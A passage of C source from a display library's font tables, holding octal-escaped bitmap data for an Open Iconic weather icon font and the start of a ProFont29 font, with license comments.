"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\376\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0<~\377\377\377\377\376\376\374\374\370\370\360\360\340\340\341\347\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\347\341\340\340\360\360\370\370\374\374\376\376\377\377\377\377~<\0\0\0\0" "\0\0\0\0\0\0\0\0\1\1\3\3\3\7\307\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\307\7\3\3\3\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0<~\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\3\1\0\0" "\0\0\1\3\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377~<\0\0\0\0" "\0\0\0\0\0\0\0\0\200\200\300\300\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\300\300\200\200\0\0\0\0\0\0\0\0" "\0\0\0\0|\376\377\377\377\377\177\177\77\77\37\77\177\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\177\77\37\77\77\177\177\377\377\377\377\376~\70\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\37\37\37\17\7\3\0\0\0\0" "\0\0\0\0\1\7\17\37\37\37\17\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\374\374\370\360\340\300\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\377\377\377\377\377\377\377\377\377\376\374" "\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\370\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\340\360\370\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\177\17\0\0\0\0\0\0\0\0\0\36\374\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\360\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\37\17" "\7\1\0\0\0\0\0\0\0\0\200\300\360\377\377\377\377\377\377\377\377\377\376\374\360\300\0\0\0\0\0\0" "\0\0\0\0\37\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\3\1\0\0\0\0" "\0\0\0\0\200\300\340\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\370\0\0\0\0" "\0\0\0\0\0\0\3\17\77\177\377\377\377\377\377\377\377\377\377\37\3\1\0\0\0\0\0\0\0\0\200\340" "\360\370\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\77\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\77y\200\0\0\0\0\0\0\0\0\360\376\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376" "\377\377\377\377\377\377\377\377\376\376\376\374\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\376\377\377\377\377\377\377\37\7\3\1" "\1\0\0\0\0\0\0\1\1\3\7\37\377\377\377\377\377\377\376\360\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\376\374\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\177\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\340\370\374\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374\370\340\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\30~\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377~<\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\370\374\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374\370\340\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\177" "\77\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\77\37\17\17" "\17\17\37\77\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\374\370\360\360" "\360\360\370\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\0\0\0\0" "\0\0\0"; /* Fontname: open_iconic_weather_8x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 6/6 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_weather_8x8[3076] U8X8_FONT_SECTION("u8x8_font_open_iconic_weather_8x8") = "@E\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\374\374" "\376\376\376\376\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\360\360\340\300\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\360\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\360\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374" "\370\360\300\0\17\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377~\0\0\1\3\7\17\37\77\77\177\177\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\177\177\77\37" "\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\360\370\374\374\376\376\376\376\377\377\377\377\377\377\377\377\376\376\376\376" "\374\374\370\360\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\37\17\7\7\3\3\3\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\377\377\377\377\77\17\7\3\1\0\0\0\0\200\300\340\360\360\370\374\374" "\376\376\376\376\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\360\360\340\300\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\7\17\7\7\3\3\3\1\1\0\0\0\0\0\0\300\360\374\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\360\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\360\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374" "\370\360\300\0\17\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377~\0\0\1\3\7\17\37\77\77\177\177\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\177\177\77\37" "\17\7\3\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\374\374\376\376\37\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\340\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\360\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\370\360\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\17\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\376\374\370\360\360\340\300\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\7\37\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\376\374\374\374\374\374\374\374\374\374\374\374\374\374\376>" "\36\2\0\0\0\0\0\0\0\0\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\17\17\17\37\37\37\77\77\77" "\77\77\77\77\77\77\77\77\77\77\77\37\37\37\17\17\17\7\7\3\3\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\374\374" "\376\376\376\376\377\377\377\377\377\377\377\377\376\376\376\376\374\374\370\360\360\340\300\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\360\200\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\360\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\376\374" "\370\360\300\0\17\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\77\37\17\7\3\1\1\1\0\0\0" "\0\0\0\1\1\1\3\7\17\37\77\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\0\0\0\3\3\3\1\1\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0\0\374\376\377\377" "\377\377\376\374\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0\1\1\1\3\7\17\37\77\177\177\177\77\37" "\17\7\3\0\0\0\0\0\0\0\0\0\374\376\377\377\377\377\376\374\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\377\0\0\0\0\0\0\0\0\374\376\377\377\377\377\376\374\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\77\177\377\377\377\377\177\77\0\0\0\0\0\0\0\0\77\177\377\377" "\377\377\177\77\0\0\0\0\0\0\0\0\77\177\377\377\377\377\177\77\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\340\374\374\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\370\377\377\377\377\377\377\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\376\377" "\377\377\377\377\377\377\377\377\377\376\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\3\7\17\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\17" "\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\17\37\77\177\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\374\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377\377\377\377\177\77\37\17\17" "\7\3\1\0\0\1\3\7\17\17\37\77\177\377\377\377\377\377\377\370\300\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0p>\37\17\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\17\37>p\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "<~\377\377\377\377~<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0<~\377\377\377\377~<\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0<~\377\377\377\377~<\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376" "\377\377\377\377\377\377\377\377\376\376\376\374\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\340\360\360\360\360\340\300\0\0\0\0\0\0\0\0\360\376\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\360\0\0\0\0\0\0\0\0\300\340\360\360" "\360\360\340\300\3\7\17\17\17\17\7\3\0\0\0\0\0\0\0\0\17\177\377\377\377\377\377\377\377\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\17\0\0\0\0\0\0\0\0\3\7\17\17" "\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\77\177\177\177" "\377\377\377\377\377\377\377\377\177\177\177\77\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0<~\377\377\377\377~<\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0<~\377\377\377\377~<\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "<~\377\377\377\377~<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0"; /* Fontname: ProFont29 Copyright: ProFont Distribution 2.2 Generated by Fontographer 4.1.5 Glyphs: 224/256 BBX Build Mode: 3 */ const uint8_t u8x8_font_profont29_2x3_f[10756] U8X8_FONT_SECTION("u8x8_font_profont29_2x3_f") = " \377\2\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0" "\0\0\0\0\0\0\77\77\77\0\0\0\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\34\34\34\377\377\377\34\34\34\377\377\377" "\34\34\34\0\7\7\7\77\77\77\7\7\7\77\77\77\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0p\374\376\216\7\377\377\377\7\16><\60\0\0\0`\341\343\203\7\377\377\377\7\216\376\374" "p\0\0\0\0\1\3\3\7\77\77\77\7\3\3\1\0\0\0\0p\374\376\7\7\377\377\367\307\347\367\177" "\77\37\0\0\300\341\363\177\77\177\377\377\7\7\375\374p\0\0\0\7\7\7\0\0\0\1\3\7\7\3\1" "\0\0\0\0p\374\376\216\207\307\347\367~>\34\0\0\0\0\0p\375\377\217\17\37=\370\360\340\360\370" "<\30\0\0\0\1\3\3\7\7\7\3\3\1\3\7\7\2\0\0\0\0\0\0\0\77\77\77\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\370\374\376\17\7\3\1\0\0\0\0\0\0\0\0\0\377\377\377\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\3\7\17\36<\70\20\0\0\0\0\0\0\0\0\1\3\7\17\376\374\370\0" "\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\0\0\0\0\0\0\0\20\70<\36\17\7\3\1\0\0" "\0\0\0\0\20\70\70\360\340\376\376\376\360\360\70\70\20\0\0\0\2\7\7\3\3\77\77\77\3\3\7\7" "\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0\0" "\0\0\0\0\7\7\7\7\7\377\377\377\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0" "\0\0\0\0\0\0\0@\341\363\177\77\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0" "\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\374\77" "\17\3\0\0\0\0\0\0\300\360\374\77\17\3\0\0\0\0\0\0\300\360\374\77\17\3\0\0\0\0\0\0" "\0\0\0\0\360\374\376\16\7\7\7\207\307\347\376\376\374\360\0\0\177\377\377\370<\36\17\7\3\1\200\377" "\377\177\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\0\70\70\70<\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\60<>\16\7\7\7\7\7\7\216\376\374p\0\0\0\0\200\300\340\360x<\36\17\7\3" "\1\0\0\0\6\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\60<>\16\7\7\7\7\7\207\216\376" "\374p\0\0`\340\340\200\0\0\7\7\7\17\217\375\370p\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\0\200\300\340\360x<\36\377\377\377\0\0\0\0\0\37\37\37\35\34\34\34\34\377\377\377\34" "\34\34\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0\0\377\377\377\347\347\347\347\347\347\347\307\307" "\207\7\0\0`\340\340\200\0\0\0\0\0\0\201\377\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\360\374\376\356\347\347\347\347\347\347\307\300\200\0\0\0\177\377\377\200\0\0\0\0\0\0\201\377" 